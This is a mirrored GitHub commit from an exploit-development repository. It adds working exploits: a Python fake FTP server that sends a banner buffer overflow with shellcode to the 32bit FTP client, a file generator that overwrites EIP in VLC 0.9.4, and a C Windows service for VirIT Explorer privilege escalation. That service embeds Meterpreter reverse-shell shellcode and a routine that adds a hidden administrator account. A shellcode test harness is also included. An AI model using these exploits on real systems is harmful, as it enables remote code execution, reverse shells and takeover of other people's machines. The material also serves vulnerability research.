mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
update1
This commit is contained in:
VoidSec
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"""
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Full title: 32bit FTP v.07.08.08 Banner Remote Buffer Overflow
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Exploit Author: Paolo Stagno - voidsec@voidsec.com
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Vendor Homepage: https://www.electrasoft.com/
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Version: 32bit FTP v.07.08.08
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Tested on: Windows XP SP3
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Category: local exploits
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Platform: windows
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Usage: start this script (it will set-up a listening server), launch 32bit FTP and connect it to the server
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"""
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#!/usr/bin/python
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from socket import *
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payload = "\xc3"*989
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# jmp esp kernel32.dll
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# 7C836A78 findjmp2
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payload += "\x78\x6A\x83\x7C"
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# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum
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# shellcode from http://metasploit.com
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payload += (
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"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
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"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
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"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
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"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
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"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
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"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
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"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
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"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
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"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
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"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
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"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
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"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
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"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
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"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
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"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
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"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
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"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
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"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
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"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
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"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
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"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
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"\x4e\x56\x43\x36\x42\x30\x5a")
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s = socket(AF_INET, SOCK_STREAM)
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s.bind(("0.0.0.0", 21))
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s.listen(1)
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print "[+] FTP server listening on (0.0.0.0:21)"
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c, addr = s.accept()
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print "[+] Connection accepted from: %s" % (addr[0])
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print "[+] Sending payload"
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c.send("220 "+payload+"\r\n")
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c.recv(1024)
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c.close()
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s.close()
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@@ -0,0 +1,60 @@
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"""
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Full title: VideoLAN VLC Media Player 0.9.4 TIVO Local Stack Buffer Overflow PoC
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Exploit Author: Paolo Stagno - voidsec@voidsec.com (Based on the original work of Guido Landi)
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Vendor Homepage: https://www.videolan.org
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Version: VideoLAN VLC Media Player 0.9.4
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Tested on: Windows 7
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Category: local exploits
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Platform: windows
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Usage: redirect the output of this script into an MPG file, load it into VLC 0.9.4, the EIP will be overwritten with \x41\x41\x41\x41
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"""
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#!/usr/bin/python
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EIP = "AAAA";
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junk = "\x90";
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print "\xF5\x46\x7A\xBD" + "\x00\x00\x00\x02" + "\x00\x02\x00\x00" + (junk * 8) + "\x00\x00\x05\x41" + (junk * 4) + "\x00\x00\x05\x49" + (junk * 60) + EIP + (junk * 130976) + "\x05" + (junk * 3) + "\x05" + (junk * 1) + "\x09" + "\xc0" + (junk * 14) + "\x06" + "\xe0" + (junk * 531062)
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"""
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--------------------------------------------------------
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| ty.c #112 TIVO_PES_FILEID 0xf5467abd |
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--------------------------------------------------------
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| ty.c #113 TIVO_PART_LENGTH 0x20000000 |
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--------------------------------------------------------
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| ty.c #114 CHUNK_SIZE 128 * 1024 |
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--------------------------------------------------------
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| junk * 8 |
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--------------------------------------------------------
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| i_map_size |
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--------------------------------------------------------
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| junk * 4 |
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--------------------------------------------------------
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| ty.c # 1654 i_seq_table_size/(8+i_map_size)== 1 |
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--------------------------------------------------------
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| junk * 60 |
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--------------------------------------------------------
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| EIP |
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--------------------------------------------------------
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| big junk * 130976 (shellcode can fit here ) |
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--------------------------------------------------------
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| ty.c #1743 i_num_recs must be greater than 5 |
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--------------------------------------------------------
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| junk * 3 |
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--------------------------------------------------------
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| p_hdrs (x05) |
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--------------------------------------------------------
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| junk * 1 |
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--------------------------------------------------------
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| ty.c #1763 rec_type == 0x9c0 -> AC-3DTivo |
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| subrec_type (x09) |
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| rec_type (xc0) |
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--------------------------------------------------------
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| junk * 14 |
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--------------------------------------------------------
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| video type rec_type == 0x6e0 -> S1 Tivo |
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| subrec_type (x06) |
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| rec_type (xe0) |
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--------------------------------------------------------
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| big junk x 531062 |
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--------------------------------------------------------
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"""
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@@ -0,0 +1,125 @@
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/*
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Full title: VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (System)/Arbitrary Code Execution
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Exploit Author: Paolo Stagno - voidsec@voidsec.com
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Vendor Homepage: http://www.tgsoft.it
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Version: VirIT Explorer Lite & Pro <=v.8.1.68
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Tested on: Windows 7
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CVE: TBD
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CVSS v2: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C) - https://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=%28AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C%29
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Category: local exploits
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Platform: windows
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Security Risk: High
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*/
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#include <windows.h>
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#include <stdio.h>
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#define small_sleep 5000
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#define big_sleep 180000
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SERVICE_STATUS ServiceStatus;
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SERVICE_STATUS_HANDLE hStatus;
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void ServiceMain(int argc, char** argv);
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void ControlHandler(DWORD request);
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typedef short(CALLBACK* FuncType)(LPCTSTR);
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/*Meterpreter reverse payload (windows/meterpreter/reverse_tcp), replace with your own*/
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unsigned char r_shell[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
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"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
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"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
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"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
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"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
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"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
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"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
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"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
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"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
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"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
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"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
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"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x8a\x68\x02"
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"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
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"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
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"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
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"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
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"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
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"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
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"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
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"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
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"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
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"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
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"\x53\xff\xd5";
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int Spawn_Shell()
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{
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//Spawn the reverse shell
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int (*func)();
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func = (int (*)())r_shell;
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(int)(*func)();
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}
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int Add_Admin()
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{
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//ADD VoidSec:secret to Local Administrators
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system("net user VoidSec secret /ADD");
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system("net localgroup Administrators VoidSec /ADD");
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return 0;
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}
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int main()
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{
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SERVICE_TABLE_ENTRY ServiceTable[2];
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ServiceTable[0].lpServiceName = "viritsvclite";
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ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
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ServiceTable[1].lpServiceName = NULL;
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ServiceTable[1].lpServiceProc = NULL;
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StartServiceCtrlDispatcher(ServiceTable);
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return 0;
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}
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void ServiceMain(int argc, char** argv)
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{
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ServiceStatus.dwServiceType = SERVICE_WIN32;
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ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
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ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
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ServiceStatus.dwWin32ExitCode = 0;
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ServiceStatus.dwServiceSpecificExitCode = 0;
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ServiceStatus.dwCheckPoint = 0;
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ServiceStatus.dwWaitHint = 0;
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hStatus = RegisterServiceCtrlHandler("viritsvclite", (LPHANDLER_FUNCTION)ControlHandler);
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ServiceStatus.dwCurrentState = SERVICE_RUNNING;
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SetServiceStatus(hStatus, &ServiceStatus);
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//Big sleep (3m), let Windows start Network, DHCP etc.
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Sleep(big_sleep);
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Spawn_Shell();
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//Add_Admin();
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//Let our service run instead of kill it (only works with Add_Admin, Spawn_Shell will kill it on exit)
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/*while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {
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Sleep(small_sleep);
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}*/
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return;
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}
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void ControlHandler(DWORD request)
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{
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switch (request) {
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case SERVICE_CONTROL_STOP:
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ServiceStatus.dwWin32ExitCode = 0;
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ServiceStatus.dwCurrentState = SERVICE_STOPPED;
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SetServiceStatus(hStatus, &ServiceStatus);
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return;
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case SERVICE_CONTROL_SHUTDOWN:
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ServiceStatus.dwWin32ExitCode = 0;
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ServiceStatus.dwCurrentState = SERVICE_STOPPED;
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SetServiceStatus(hStatus, &ServiceStatus);
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return;
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default:
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break;
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}
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SetServiceStatus(hStatus, &ServiceStatus);
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return;
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}
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@@ -0,0 +1,11 @@
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#include <stdio.h>
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#include <stdlib.h>
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/*test shellcode*/
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char code[] = "";
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int main(int argc, char ** argv) {
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int( * func)();
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func = (int( * )()) code;
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(int)( * func)();
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}
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Block a user